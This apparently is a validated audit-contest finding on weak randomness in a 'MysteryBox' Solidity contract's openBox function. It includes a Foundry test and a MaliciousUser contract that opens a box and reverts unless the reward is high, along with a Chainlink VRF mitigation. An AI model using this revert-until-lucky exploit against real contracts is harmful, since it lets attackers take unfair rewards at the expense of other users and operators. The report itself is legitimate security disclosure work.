Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

H-2 Week randomness in `MysteryBox::openBox` allows users to influence or predict rewards

furkansezal

Description
Hashing msg.sender and block.timestamp together creates a predictable value that can be used to determine the reward. Malicious user can use this predictable value to influence the rewards and get a higher reward than expected. Also a user can mine an address to get a higher reward than expected.
Additionally, a user can front-run the MysteryBox::openBox function and if the reward is not higher than expected user simply reverts the transaction.

Impact
User can get a higher reward than expected.

Proof of Concepts

1-Attacker sets up a contract with a attack funtion to buy a box and open it.
2-If the reward is not higher than expected, attacker can revert the transaction.

Additionally,
3-Validators can know ahead of time the block.timestamp and use that to predict when/how to open the box.

Proof of Code

Place to following into TestMysteryBox.t.sol

function testGetHigherReward() public {
MaliciousUser attackerContract = new MaliciousUser{value: 0.1 ether}(address(mysteryBox));
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 1 ether);
​
vm.prank(attackUser);
vm.expectRevert();
attackerContract.buyBox();
}

And this contact as well

contract MaliciousUser {
MysteryBox public mysteryBox;
​
constructor(address _address) payable {
mysteryBox = MysteryBox(_address);
}
​
function buyBox() public payable {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
​
if (rewards[0].value < 0.5 ether) {
revert();
}
}
}

Recommended mitigation

Consider using crytographically secure random number generation such as Chainlink VRF.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!